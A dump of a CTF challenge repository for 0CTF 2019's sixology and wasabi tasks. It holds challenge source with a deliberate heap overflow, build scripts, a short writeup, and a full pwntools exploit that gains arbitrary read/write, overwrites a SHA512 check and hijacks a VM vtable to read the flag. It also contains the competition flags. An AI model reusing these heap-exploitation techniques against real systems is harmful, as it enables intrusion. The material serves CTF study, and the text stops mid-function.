63 151 244 130 71 166 203 70 151 189 101 19 7 240 46 222 54 76 68 38 2 251 163 66 143 | db. 2640=151 21 67 152 17 47 62 6 109 18 69 51 88 15 106 142 132 35 62 173 77 121 33 29 123 64 28 200 143 17 106 24 55 151 46 130 45 46 40 124 60 139 12 104 20 125 73 53 55 99 84 19 115 204 156 84 124 31 25 89 64 48 19 32 206 100 144 | 145 | jmp END 146 | 147 | Count: 148 | allocframe 0x100 149 | mov r10, r0 150 | mov r11, r1 151 | li r25, 0x2019 152 | li r23, 0 153 | li r24, 0 154 | li r19, 4 155 | li r18, 1 156 | loop Init, r0 157 | Init: 158 | add r6, r23, r1 159 | div r14, r15, r6, r0 160 | add r15, r15, r18 161 | add r17, r25, r24 162 | store r15, dword ptr [r17] 163 | add r23, r23, r18 164 | add r24, r24, r19 165 | endloop Init 166 | 167 | li r15, 1 168 | li r23, 1 169 | sub r2, r0, r15 170 | loop First, r2 171 | First: 172 | li r24, 0 173 | li r22, 0 174 | sub r3, r0, r23 175 | loop Second, r3 176 | Second: 177 | add r26, r25, r22 178 | load r12, dword ptr [r26] 179 | add r27, r26, r19 180 | load r13, dword ptr [r27] 181 | lexcmp.lt p0, r12, r13 182 | jmpcond p0, NOEXCHG 183 | exchange r12, r13 184 | store r12, dword ptr [r26] 185 | store r13, dword ptr [r27] 186 | NOEXCHG: 187 | add r24, r24, r15 188 | add r22, r22, r19 189 | endloop Second 190 | add r23, r23, r15 191 | endloop First 192 | 193 | li r24, 0 194 | cmp.eq p1, r1, r15 195 | jmpcond p1, FINISH 196 | sub r2, r1, r15 197 | loop Result, r2 198 | Result: 199 | add r24, r24, r19 200 | endloop Result 201 | 202 | FINISH: 203 | add r26, r25, r24 204 | load r0, dword ptr [r26] 205 | deallocframe 206 | ret 207 | 208 | END: 209 | mov r0, r20 210 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/src/solve.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import struct 4 | 5 | # flag{H1gHLigH7_Th3_Cu1tuRe_0f_CN_4nD_wen_TI_OpEN_fl0w3R_Together!} 6 | 7 | def u32(a): 8 | return struct.unpack(" Burrows-Wheeler Transform + Run-Length Encoding. 23 | 24 | ### 2. wasabi001 25 | The 2nd step is a simple heap Pwnable challenge on [dlmalloc 2.8.6](https://github.com/CraneStation/wasi-libc/blob/master/dlmalloc/src/malloc.c). 26 | 27 | With the heap overflow in `Edit Option`. Hackers are able to achieve arbitrary read and write, then bypass SHA512 check in `Get Flag` option and get 2nd flag. 28 | 29 | > Arbitrary read will leak encrypted flag on server. But without modifying the Hardcodz SHA512 on linear memory, you may not have a chance to reach next `wasabi002`. There is no rodata in wasm linear memory, at least it is on wasmtime. Without this sense, some hackers may not try `Get Flag` on server again. 30 | 31 | ### 3. wasabi002 32 | The 3rd step is also a Pwnable challenge, which requires hackers to open a flag file on server and read, write it. 33 | 34 | In the end of `Get Flag` option of 2nd step, wasabi will enter a vm and execute tens of fixed vm instructions, then program exit. 35 | 36 | So with the ability of arbitrary write in wasabi001, hackers can modify vtable of VM class, vm registers and vm memory. Then from instruction semantic confusion to finish wasabi series. 37 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/release/flag.wasabi: -------------------------------------------------------------------------------- 1 | xiaohuajiao 2 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/release/wasabi.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaohuajiao/my-ctf/6f1be3f6d74df2ee3dca64760e68b75a928a7e09/2019/0ctf/wasabi/release/wasabi.tar.gz -------------------------------------------------------------------------------- /2019/0ctf/wasabi/solution/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | from pwn import * 5 | from hashlib import sha512 6 | 7 | #context.log_level = "debug" 8 | context.terminal = "tmux split -v".split(" ") 9 | 10 | binary = "./wasabi" 11 | binary = "./wasmtime --dir=. ./wasabi.release".split(" ") 12 | #r = process(binary) 13 | r = remote("192.168.201.13", 2222) 14 | 15 | #digest_addr = 0x1107a 16 | digest_addr = 0x12131 17 | #vtable_addr = 0x111c0 18 | vtable_addr = 0x12320 19 | regs_addr = 0x400 # 0xea0 # FIXME 20 | memory_addr = 0x440+0x400 # 0xee0 # FIXME 21 | 22 | 23 | def step1(): 24 | target = "W3lc0me_t0_Sh4nGhai_0cTf/Tctf_2019_f1n4ls!" 25 | key = [0x77, 0x2, 0x9, 0x52, 0x40, 0x5c, 0x16, 0x6e, 0x19, 0x1, 0x26, 0x62, 0x37, 0x5, 0x6, 0x76, 0x6, 0x50, 0x36, 0x6d, 0x29, 0x52, 0x31, 0x57, 0x5f, 0x65, 0xa, 0x45, 0x13, 0x6e, 0x5e, 0x1, 0x6e, 0x8, 0x38, 0x57, 0x5d, 0x5f, 0x5c, 0x5d, 0x1, 0x10] 26 | assert len(target) == len(key) 27 | rle_target = ''.join([chr(ord(target[i]) ^ key[i]) for i in xrange(len(key))]) 28 | print rle_target 29 | print rle_target.encode("hex") 30 | 31 | def decode_rle(s): 32 | rst = "" 33 | num = "" 34 | last_chr = "" 35 | for i in s: 36 | if not i.isdigit(): 37 | if len(num) > 0: 38 | assert len(last_chr) > 0 39 | rst += last_chr * int(num) 40 | num = "" 41 | last_chr = i 42 | else: 43 | num += i 44 | 45 | if len(last_chr) > 0 and len(num) > 0: 46 | rst += last_chr * int(num) 47 | return rst 48 | 49 | def decode_bwt(s): 50 | table = [""] * len(s) 51 | for i in xrange(len(s)): 52 | table = sorted(s[i] + table[i] for i in xrange(len(s))) 53 | rst = [line for line in table if line.endswith("\x20")][0] 54 | return rst.rstrip("\x20").strip("\x19") 55 | 56 | bwt_target = decode_rle(rle_target) 57 | print bwt_target 58 | print bwt_target.encode("hex") 59 | 60 | flag = decode_bwt(bwt_target) 61 | print flag 62 | return flag 63 | 64 | 65 | def add(content): 66 | r.sendline("1") 67 | 68 | r.recvuntil("Option content size:\n") 69 | r.sendline(str(len(content))) 70 | resp = r.recvline() 71 | if "Invalid" in resp: 72 | return 73 | assert resp == "Option content:\n" 74 | r.sendline(content) 75 | 76 | def edit(idx, content): 77 | r.sendline("2") 78 | r.recvuntil("Option idx:\n") 79 | r.sendline(str(idx)) 80 | 81 | resp = r.recvline() 82 | if "Invalid" in resp: 83 | return 84 | # send content size 85 | assert resp == "Option content size:\n" 86 | r.sendline(str(len(content))) 87 | 88 | resp = r.recvline() 89 | if "Invalid" in resp: 90 | return 91 | 92 | # send content 93 | assert resp == "New option content:\n" 94 | r.sendline(content) 95 | 96 | def delete(idx): 97 | r.sendline("3") 98 | r.recvuntil("Option idx:\n") 99 | r.sendline(str(idx)) 100 | 101 | 102 | def first_flag(): 103 | r.recvuntil("Do you like wasabi?\n") 104 | r.sendline("im_hungry_pls_help_e") 105 | r.recvuntil("Congraz and flag is flag{im_hungry_pls_help_e}\n") 106 | 107 | def overlap(): 108 | add("A"*0x20) 109 | add("B"*0x20) 110 | delete(6) 111 | add("C"*0x40) 112 | add("D"*0x40) 113 | add("E"*0x50) 114 | 115 | payload = flat( 116 | 'F' * 0x44, 117 | 0x4b + 0x20, 118 | 'G' * 4 119 | ) 120 | edit(7, payload) 121 | 122 | delete(8) 123 | 124 | r.sendline("1") 125 | r.recvuntil("Option content size:\n") 126 | r.sendline(str(0x58)) 127 | r.recvuntil("Option content:\n") 128 | r.sendline("1"*4) 129 | 130 | def write_anywhere(addr, content): 131 | # ------------------------------------------------------------------ 132 | # Now we have arbitrary write with any size, and also arbitrary read 133 | # ------------------------------------------------------------------ 134 | 135 | payload = flat( 136 | '1' * 0x44, 137 | 0x23, # chunk size 138 | 0x1, # inused 139 | 0x8, # rest 140 | 0, # reserved 141 | 0xfffffff, # func 142 | 0x50, # content_size 143 | addr # content_ptr 144 | ) + '\x00' 145 | edit(9, payload) 146 | 147 | edit(8, content+'\x00') 148 | 149 | def bypass_sha512(): 150 | msg = "1234" 151 | digest = sha512(msg).digest() 152 | assert not '\n' in digest 153 | 154 | write_anywhere(digest_addr, digest) 155 | 156 | r.sendline("4") 157 | r.sendline(msg) 158 | r.recvuntil("So u like this flavor, right? ") 159 | flag2 = r.recvline() 160 | print flag2 161 | 162 | def write_vtable(): 163 | maps = { 164 | "add" : 11, 165 | "sub" : 12, 166 | "mul" : 13, 167 | "div" : 14, 168 | "mod" : 15, 169 | "nor" : 16, 170 | "mov" : 17, 171 | "exchange" : 18, 172 | "li" : 19, 173 | "load": 20, 174 | "store" : 21, 175 | "jmp" : 22, 176 | "jmpcond" : 23, 177 | "cmp" : 24, 178 | "_open" : 25, 179 | "_read" : 26, 180 | "_write": 27, 181 | "_close": 28, 182 | "nop" : 29, 183 | "quit" : 30, 184 | } 185 | target_table = [ 186 | maps["_write"], # add 187 | maps["sub"], 188 | maps["_open"], # mul 189 | maps["div"], 190 | maps["mod"], 191 | maps["nor"], 192 | maps["nop"], # mov 193 | maps["nop"], # exchange 194 | maps["nop"], # li 195 | maps["load"], 196 | maps["store"], 197 | maps["jmp"], 198 | maps["jmp"], # jmpcond 199 | maps["_read"], # cmp 200 | maps["_open"], 201 | maps["_read"], 202 | maps["nop"], # _write 203 | ] 204 | 205 | target_table_content = ''.join(map(p32, target_table)) 206 | write_anywhere(vtable_addr, target_table_content) 207 | 208 | def write_vm_context(): 209 | expect_fd = 14 210 | 211 | regs = [expect_fd] * 32 212 | 213 | regs[1] = 1 214 | regs[2] = 0x400 215 | regs[4] = 0x400 216 | 217 | regs_content = ''.join(map(p16, regs)) 218 | 219 | flag_name = "flag.wasabi" 220 | memory_content = flag_name 221 | 222 | write_anywhere(regs_addr, regs_content) 223 | write_anywhere(memory_addr, memory_content) 224 | 225 | #gdb.attach(r) 226 | 227 | def main(): 228 | first_flag() 229 | 230 | overlap() 231 | write_vtable() 232 | write_vm_context() 233 | bypass_sha512() 234 | 235 | data = r.recv(0x100) 236 | data = data.replace("\x00", '') 237 | print data 238 | #r.interactive() 239 | r.close() 240 | 241 | 242 | #step1() 243 | main() 244 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/Makefile: -------------------------------------------------------------------------------- 1 | #this makefile is from http://make.mad-scientist.net/papers/advanced-auto-dependency-generation/ 2 | DEPDIR := .d 3 | OBJDIR := ./obj 4 | 5 | CC = clang 6 | CXX = clang++ 7 | 8 | CPPSRCS = $(wildcard *.cpp) 9 | CSRCS = $(wildcard *.c) 10 | SRCS = $(CPPSRCS) $(CSRCS) 11 | OBJS = $(patsubst %.o, $(OBJDIR)/%.o, $(CPPSRCS:.cpp=.o) $(CSRCS:.c=.o)) 12 | 13 | $(shell mkdir -p $(DEPDIR) >/dev/null) 14 | $(shell mkdir -p $(OBJDIR) >/dev/null) 15 | 16 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEPDIR)/$*.Td 17 | H_INCLUDE = 18 | LIB_INCLUDE = 19 | LIBS = 20 | TARGET=wasabi 21 | 22 | CFLAGS = $(H_INCLUDE) -Wall -m32 23 | CPPFLAGS = $(H_INCLUDE) -Wall -std=c++11 -m32 24 | LDFLAGS = -m32 25 | LINKER = clang++ 26 | 27 | COMPILE.c = $(CC) $(DEPFLAGS) $(CFLAGS) $(TARGET_ARCH) -c 28 | COMPILE.cc = $(CXX) $(DEPFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c 29 | POSTCOMPILE = @mv -f $(DEPDIR)/$*.Td $(DEPDIR)/$*.d && touch $@ 30 | 31 | RELEASE_DIR = ./release/ 32 | 33 | all: $(TARGET) 34 | 35 | test: $(TARGET) 36 | test: CFLAGS += -DDEBUG -fsanitize=address 37 | 38 | debug: $(TARGET) 39 | debug: CFLAGS += -g -DDEBUG -DWASI 40 | debug: CPPFLAGS += -g -DDEBUG -DWASI 41 | debug: LDFLAGS += -g 42 | 43 | release: $(TARGET) 44 | release: CFLAGS += -DRELEASE -DWASI 45 | release: CPPFLAGS += -DRELEASE -DWASI 46 | release: LDFLAGS += -s 47 | 48 | .PHONY : clean 49 | $(TARGET): $(OBJS) 50 | $(LINKER) $(LIB_INCLUDE) $(LDFLAGS) -o $(@) $(^) $(LIBS) 51 | python generate_step2.py $(TARGET) 52 | #strip $(@) 53 | # python patch_for_server.py $(@) 54 | #chmod +x $(@).server 55 | #cp $(@) $(RELEASE_DIR) 56 | #cp description.txt $(RELEASE_DIR) 57 | #tar zcf $(TARGET)_release.tar.gz $(RELEASE_DIR) 58 | 59 | $(OBJDIR)/%.o : %.c 60 | $(OBJDIR)/%.o : %.c $(DEPDIR)/%.d 61 | $(COMPILE.c) $(OUTPUT_OPTION) $< 62 | $(POSTCOMPILE) 63 | 64 | $(OBJDIR)/%.o : %.cc 65 | $(OBJDIR)/%.o : %.cc $(DEPDIR)/%.d 66 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 67 | $(POSTCOMPILE) 68 | 69 | $(OBJDIR)/%.o : %.cxx 70 | $(OBJDIR)/%.o : %.cxx $(DEPDIR)/%.d 71 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 72 | $(POSTCOMPILE) 73 | 74 | $(OBJDIR)/%.o : %.cpp 75 | $(OBJDIR)/%.o : %.cpp $(DEPDIR)/%.d 76 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 77 | $(POSTCOMPILE) 78 | 79 | $(DEPDIR)/%.d: ; 80 | .PRECIOUS: $(DEPDIR)/%.d 81 | 82 | clean: 83 | -rm $(OBJS) 84 | -rm -rf $(OBJDIR) 85 | -rm $(TARGET) 86 | -rm -rf $(DEPDIR) 87 | test: 88 | echo $(OBJS) 89 | 90 | include $(wildcard $(patsubst %,$(DEPDIR)/%.d,$(basename $(SRCS)))) 91 | 92 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/Makefile.linux: -------------------------------------------------------------------------------- 1 | #this makefile is from http://make.mad-scientist.net/papers/advanced-auto-dependency-generation/ 2 | DEPDIR := .d 3 | OBJDIR := ./obj 4 | 5 | CC = clang 6 | CXX = clang++ 7 | 8 | CPPSRCS = $(wildcard *.cpp) 9 | CSRCS = $(wildcard *.c) 10 | SRCS = $(CPPSRCS) $(CSRCS) 11 | OBJS = $(patsubst %.o, $(OBJDIR)/%.o, $(CPPSRCS:.cpp=.o) $(CSRCS:.c=.o)) 12 | 13 | $(shell mkdir -p $(DEPDIR) >/dev/null) 14 | $(shell mkdir -p $(OBJDIR) >/dev/null) 15 | 16 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEPDIR)/$*.Td 17 | H_INCLUDE = 18 | LIB_INCLUDE = 19 | LIBS = 20 | TARGET=wasabi 21 | 22 | CFLAGS = $(H_INCLUDE) -Wall -m32 23 | CPPFLAGS = $(H_INCLUDE) -Wall -std=c++11 -m32 24 | LDFLAGS = -m32 25 | LINKER = clang++ 26 | 27 | COMPILE.c = $(CC) $(DEPFLAGS) $(CFLAGS) $(TARGET_ARCH) -c 28 | COMPILE.cc = $(CXX) $(DEPFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c 29 | POSTCOMPILE = @mv -f $(DEPDIR)/$*.Td $(DEPDIR)/$*.d && touch $@ 30 | 31 | RELEASE_DIR = ./release/ 32 | 33 | all: $(TARGET) 34 | 35 | test: $(TARGET) 36 | test: CFLAGS += -DDEBUG -fsanitize=address 37 | 38 | debug: $(TARGET) 39 | debug: CFLAGS += -g -DDEBUG 40 | debug: CPPFLAGS += -g -DDEBUG -DSTEP1_DEBUG 41 | debug: LDFLAGS += -g 42 | 43 | release: $(TARGET) 44 | release: CFLAGS += -DRELEASE -g 45 | release: CPPFLAGS += -DRELEASE -g 46 | release: LDFLAGS += -g 47 | 48 | .PHONY : clean 49 | $(TARGET): $(OBJS) 50 | $(LINKER) $(LIB_INCLUDE) $(LDFLAGS) -o $(@) $(^) $(LIBS) 51 | #strip $(@) 52 | # python patch_for_server.py $(@) 53 | #chmod +x $(@).server 54 | #cp $(@) $(RELEASE_DIR) 55 | #cp description.txt $(RELEASE_DIR) 56 | #tar zcf $(TARGET)_release.tar.gz $(RELEASE_DIR) 57 | 58 | $(OBJDIR)/%.o : %.c 59 | $(OBJDIR)/%.o : %.c $(DEPDIR)/%.d 60 | $(COMPILE.c) $(OUTPUT_OPTION) $< 61 | $(POSTCOMPILE) 62 | 63 | $(OBJDIR)/%.o : %.cc 64 | $(OBJDIR)/%.o : %.cc $(DEPDIR)/%.d 65 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 66 | $(POSTCOMPILE) 67 | 68 | $(OBJDIR)/%.o : %.cxx 69 | $(OBJDIR)/%.o : %.cxx $(DEPDIR)/%.d 70 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 71 | $(POSTCOMPILE) 72 | 73 | $(OBJDIR)/%.o : %.cpp 74 | $(OBJDIR)/%.o : %.cpp $(DEPDIR)/%.d 75 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 76 | $(POSTCOMPILE) 77 | 78 | $(DEPDIR)/%.d: ; 79 | .PRECIOUS: $(DEPDIR)/%.d 80 | 81 | clean: 82 | -rm $(OBJS) 83 | -rm -rf $(OBJDIR) 84 | -rm $(TARGET) 85 | -rm -rf $(DEPDIR) 86 | test: 87 | echo $(OBJS) 88 | 89 | include $(wildcard $(patsubst %,$(DEPDIR)/%.d,$(basename $(SRCS)))) 90 | 91 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/check_diff.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from generate_step2 import FLAG 4 | 5 | server = "wasabi" 6 | release = server + ".release" 7 | 8 | a = open(server, "rb").read() 9 | b = open(release, 'rb').read() 10 | 11 | start = 0x617c1 12 | end = start + len(FLAG) 13 | 14 | cnt = 0 15 | assert len(a) == len(b) 16 | for i in xrange(len(a)): 17 | if a[i] != b[i]: 18 | #print hex(i) 19 | assert start <= i <= end 20 | cnt += 1 21 | 22 | if cnt > 0: 23 | print "!!!!!!!!!!! GOOD !!!!!!!!!!!!!!!" 24 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | /* 5 | #ifdef RELEASE 6 | # define STEP1_FLAG ("flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}") 7 | #else 8 | # define STEP1_FLAG ("flag{it's_time_t0_enjoy_A_zongzi_during_dragon_boat_f45tival^.^}") 9 | #endif 10 | */ 11 | 12 | #define STEP2_SHA512 ("\x18\xe4\xc3\xd6\x30\x36\x7e\x20\xb8\xff\x96\xae\x6d\x37\x7b\xe3\xe8\x1b\xbf\x93\xa5\xea\x59\x5b\x54\x56\x68\x8d\x86\x36\xde\xdf\xe7\x01\x74\x53\xf7\xd0\x88\xff\xa9\x26\xa3\x81\x7e\xe1\xa9\x0d\x2e\x71\xb9\x45\xd6\xa1\x33\x86\x43\x0a\xde\x62\xae\x28\x5f\xab") 13 | 14 | //#define STPE3_DEBUG 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/generate_step2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import os 5 | import sys 6 | 7 | FLAG = "flag{01d_H34p_ov3rfl0w_st1ll_in_2019_WASM_and_let's_enj0y_the_1st_year_of_WASI}" 8 | FAKE_FLAG = "flag{" + 'X' * (len(FLAG)-6) + "}" 9 | assert len(FLAG) == len(FAKE_FLAG) 10 | key = os.urandom(len(FLAG)) 11 | key = "58ed5567f0cc8df81e690990bb105f88d84f4a53ab3d8b33259d508caaa21310c16c346d9f449a2bc80bd8d3a06b27ca794de4ad6a9e1b524b45e436f628259ae529ed2230e561c49b00ac28413705".decode("hex") 12 | 13 | def generate_dec_code(flag): 14 | global key 15 | assert len(key) == len(flag) 16 | 17 | cipher_flag = ''.join([("\\x%02x" % (ord(flag[i]) ^ ord(key[i]))) for i in xrange(len(flag))]) 18 | 19 | key_code = "" 20 | for i in xrange(len(key)): 21 | key_code += " key[%d] = %#02x; \\\n" % (i, ord(key[i])) 22 | 23 | c_code = """ 24 | #ifndef STEP2_H 25 | #define STEP2_H 26 | 27 | #include 28 | 29 | uint8_t cipher_flag[] = "{flag}"; 30 | 31 | #define DEC_FLAG2(flag) do {{ \\ 32 | uint8_t key[{length}] = {{0}}; \\ 33 | {key_code} for (uint32_t i = 0; i < {length}; ++i) {{ \\ 34 | flag[i] = cipher_flag[i] ^ key[i]; \\ 35 | }} \\ 36 | }} while (0) 37 | #endif 38 | """.format(flag=cipher_flag, length=len(flag), key_code=key_code) 39 | 40 | open("step2.h", 'w').write(c_code) 41 | 42 | def patch_to_release(flag, fake_flag, filename): 43 | assert len(flag) == len(fake_flag) 44 | data = open(filename, 'rb').read() 45 | cipher_flag = ''.join([chr(ord(key[i]) ^ ord(flag[i])) for i in xrange(len(flag))]) 46 | cipher_fake_flag = ''.join([chr(ord(key[i]) ^ ord(fake_flag[i])) for i in xrange(len(flag))]) 47 | 48 | print "cipher_flag count:", data.count(cipher_flag) 49 | assert data.count(cipher_flag) == 1 50 | pos = data.find(cipher_flag) 51 | new_data = data[:pos] + cipher_fake_flag + data[pos+len(cipher_fake_flag):] 52 | 53 | open("%s.release" % filename, 'wb').write(new_data) 54 | 55 | if __name__ == "__main__": 56 | print len(FLAG) 57 | print key.encode("hex") 58 | if len(sys.argv) == 1: 59 | generate_dec_code(FLAG) 60 | elif len(sys.argv) == 2: 61 | patch_to_release(FLAG, FAKE_FLAG, sys.argv[1]) 62 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/generate_step3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | instructions = """ 5 | li 0, 0x3231, 0 6 | li 1, 0, 0 7 | store 0, 1, 2 8 | li 0, 0x3433, 0 9 | li 1, 2, 0 10 | store 0, 1, 2 11 | 12 | li 0, 0, 0 13 | li 1, 0, 0 14 | _open 2, 0, 1 15 | 16 | li 3, 0x10, 0 17 | li 4, 1, 0 18 | li 5, 0x20, 0 19 | 20 | _read 2, 3, 0 21 | add 3, 3, 4 22 | cmp 3, 5, CMP_LT 23 | jmpcond (uint32_t)-3, 0, 0 24 | 25 | quit 0, 0, 0 26 | """ 27 | 28 | instructions = """ 29 | li 0, 1, 2 30 | mov 1, 0, 3 31 | add 2, 1, 0 32 | mov 3, 2, 0 33 | add 4, 2, 3 34 | mul 5, 4, 4 35 | 36 | li 7, 1, 4 37 | 38 | exchange 6, 1, 0 39 | _write 7, 6, 3 40 | exchange 1, 6, 0 41 | add 1, 1, 0 42 | cmp 5, 1, CMP_GT 43 | jmpcond (uint32_t)-5, 0, 0 44 | 45 | quit 8, 8, 6 46 | """ 47 | 48 | def parser(instructions): 49 | operators = [] 50 | operands = [] 51 | 52 | for ins in instructions.split("\n"): 53 | if len(ins) == 0: 54 | continue 55 | operator, tmp = ins.strip().split(" ", 1) 56 | operand = map(lambda x: x.strip(), tmp.split(",")) 57 | 58 | operators.append(operator) 59 | operands.append(operand) 60 | 61 | print operators 62 | print operands 63 | return operators, operands 64 | 65 | def generator(operators, operands): 66 | assert len(operators) == len(operands) 67 | 68 | c_code = """ 69 | #include 70 | #include 71 | #include 72 | #include 73 | 74 | #include "step3.h" 75 | #include "zerology.h" 76 | 77 | uint16_t g_regs[NUM_OF_GPR] = {0}; 78 | uint8_t g_memory[MEMORY_SIZE] = {0}; 79 | 80 | // FIXME: is this function signature ok?? 81 | void step3() 82 | { 83 | Zerology *vm = new Zerology(g_regs, NUM_OF_GPR, g_memory, MEMORY_SIZE); 84 | if (!vm) _exit(0); 85 | """ 86 | c_code += """ 87 | OlogyOpcode operators[{num}]; 88 | uint32_t operands[{num}][3]; 89 | 90 | """.format(num=len(operators)) 91 | 92 | for i in xrange(len(operators)): 93 | c_code += " operators[{}] = OP_{};\n".format(i, operators[i]) 94 | 95 | for i in xrange(len(operands)): 96 | assert len(operands[i]) == 3 97 | c_code += """ 98 | operands[{index}][0] = {op0}; 99 | operands[{index}][1] = {op1}; 100 | operands[{index}][2] = {op2}; 101 | """.format(index=i, op0=operands[i][0], op1=operands[i][1], op2=operands[i][2]) 102 | 103 | c_code += """ 104 | uint32_t num_of_ins = {}; 105 | """.format(len(operators)) 106 | 107 | c_code += """ 108 | 109 | uint32_t cur_pc = 0; 110 | 111 | while (cur_pc < num_of_ins) 112 | { 113 | int32_t ins_result = vm->run_ins(operators[cur_pc], 114 | operands[cur_pc][0], 115 | operands[cur_pc][1], 116 | operands[cur_pc][2]); 117 | 118 | if (ins_result == INS_RESULT_FAIL) 119 | break; 120 | 121 | cur_pc += ins_result; 122 | } 123 | 124 | delete vm; 125 | _exit(0); 126 | } 127 | """ 128 | 129 | return c_code 130 | 131 | 132 | if __name__ == "__main__": 133 | operators, operands = parser(instructions) 134 | c_code = generator(operators, operands) 135 | print c_code 136 | 137 | open("step3.cpp", 'w').write(c_code) 138 | 139 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "option.h" 8 | #include "utils.h" 9 | #include "step1.h" 10 | 11 | 12 | struct Options g_options; 13 | 14 | void init() 15 | { 16 | setvbuf(stdin,0,2,0); 17 | setvbuf(stdout,0,2,0); 18 | 19 | #ifndef WASI 20 | srand(time(0)); 21 | malloc(rand() & 0xfff0); 22 | #else 23 | uint16_t offset = 0; 24 | __wasi_random_get(&offset, sizeof(offset)); 25 | malloc(offset & 0xfff0); 26 | #endif 27 | } 28 | 29 | extern uint8_t g_memory[]; 30 | 31 | void init_vm_memory() 32 | { 33 | memcpy(g_memory+1, "Amazing,gogogo!\n", 16); 34 | } 35 | 36 | /* 37 | void init_zerology() 38 | { 39 | if (g_zerology) 40 | { 41 | delete g_zerology; 42 | g_zerology = NULL; 43 | } 44 | 45 | g_zerology = new Zerology; 46 | 47 | // random vm 48 | #ifndef WASI 49 | srand(time(0)); 50 | malloc(rand() & 0xfff0); 51 | #else 52 | uint16_t offset = 0; 53 | __wasi_random_get(&offset, sizeof(offset)); 54 | malloc(offset & 0xfff0); 55 | #endif 56 | } 57 | */ 58 | 59 | int main() 60 | { 61 | uint32_t idx; 62 | struct Option *option; 63 | 64 | init(); 65 | 66 | // first reverse challenge 67 | if (step1() == STEP1_FAIL) 68 | { 69 | puts("Hah, enjoy and try again"); 70 | return 0; 71 | } 72 | 73 | //init_zerology(); 74 | init_vm_memory(); 75 | init_options(); 76 | 77 | while (1) 78 | { 79 | puts(""); 80 | for (idx = 0; idx < g_options.num_of_valid_option; ++idx) 81 | { 82 | option = g_options.options[idx]; 83 | if (option->inused == 0 || option->rest == 0) 84 | continue; 85 | printf("%d. %s\n", idx+1, option->content); 86 | } 87 | 88 | idx = read_int(); 89 | if (idx == 0 || idx > g_options.num_of_valid_option) 90 | { 91 | puts("Invalid option"); 92 | continue; 93 | } 94 | option = g_options.options[idx-1]; 95 | if (option->inused == 0 || option->rest == 0) 96 | { 97 | puts("Invalid option"); 98 | continue; 99 | } 100 | 101 | option->rest--; 102 | option->func(); 103 | } 104 | 105 | return 0; 106 | } 107 | -------------------------------------------------------------------------------- /2019/0ctf/wasabi/src/option.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "option.h" 7 | #include "utils.h" 8 | //#include "dlmalloc.h" 9 | #include "sha.h" 10 | #include "config.h" 11 | #include "step2.h" 12 | #include "step3.h" 13 | #include "zerology.h" 14 | 15 | extern struct Options g_options; 16 | extern Zerology *g_zerology; 17 | 18 | #define CHECK_OPTION(option) { \ 19 | if (!option->inused || option->rest == 0) return ; \ 20 | } while (0) 21 | 22 | static void add_option(); 23 | static void edit_option(); 24 | static void del_option(); 25 | static void quit_option(); 26 | static void get_flag(); 27 | 28 | void init_options() 29 | { 30 | g_options.options = (struct Option **)malloc(sizeof(struct Option*) * MAX_OPTION_NUM); 31 | if (!g_options.options) 32 | _exit(0); 33 | 34 | g_options.num_of_valid_option = 0; 35 | 36 | memset(g_options.options, 0, sizeof(struct Option*) * MAX_OPTION_NUM); 37 | 38 | #define REGISTER_OPTION(buf, handler) do { \ 39 | struct Option *option = (struct Option *)malloc(sizeof(struct Option)); \ 40 | if (!option) _exit(0); \ 41 | option->inused = 1; \ 42 | option->rest = 0x10; \ 43 | option->func = handler; \ 44 | option->content_size = 0x10; \ 45 | option->content = (char *)malloc(0x10); \ 46 | if (!option->content) _exit(0); \ 47 | memset(option->content, 0, 0x10); \ 48 | strncpy(option->content, buf, strlen(buf)); \ 49 | g_options.options[g_options.num_of_valid_option++] = option; \ 50 | } while (0) 51 | 52 | REGISTER_OPTION("Add Option", add_option); 53 | REGISTER_OPTION("Edit Option", edit_option); 54 | REGISTER_OPTION("Del Option", del_option); 55 | REGISTER_OPTION("Get Flag", get_flag); 56 | REGISTER_OPTION("Quit", quit_option); 57 | } 58 | 59 | static void add_option() 60 | { 61 | if (g_options.num_of_valid_option >= MAX_OPTION_NUM) 62 | return; 63 | 64 | puts("Option content size:"); 65 | uint32_t content_size = read_int(); 66 | content_size = (content_size & 0xf) ? (((content_size/0x10)+1) * 0x10): content_size; 67 | 68 | if (content_size >= 0x80 || content_size == 0) 69 | { 70 | puts("Invalid content size"); 71 | return ; 72 | } 73 | 74 | struct Option *new_option = (struct Option *)malloc(sizeof(struct Option)); 75 | if (!new_option) 76 | return ; 77 | 78 | char *content = (char *)malloc(content_size); 79 | if (!content) 80 | { 81 | free(new_option); 82 | return 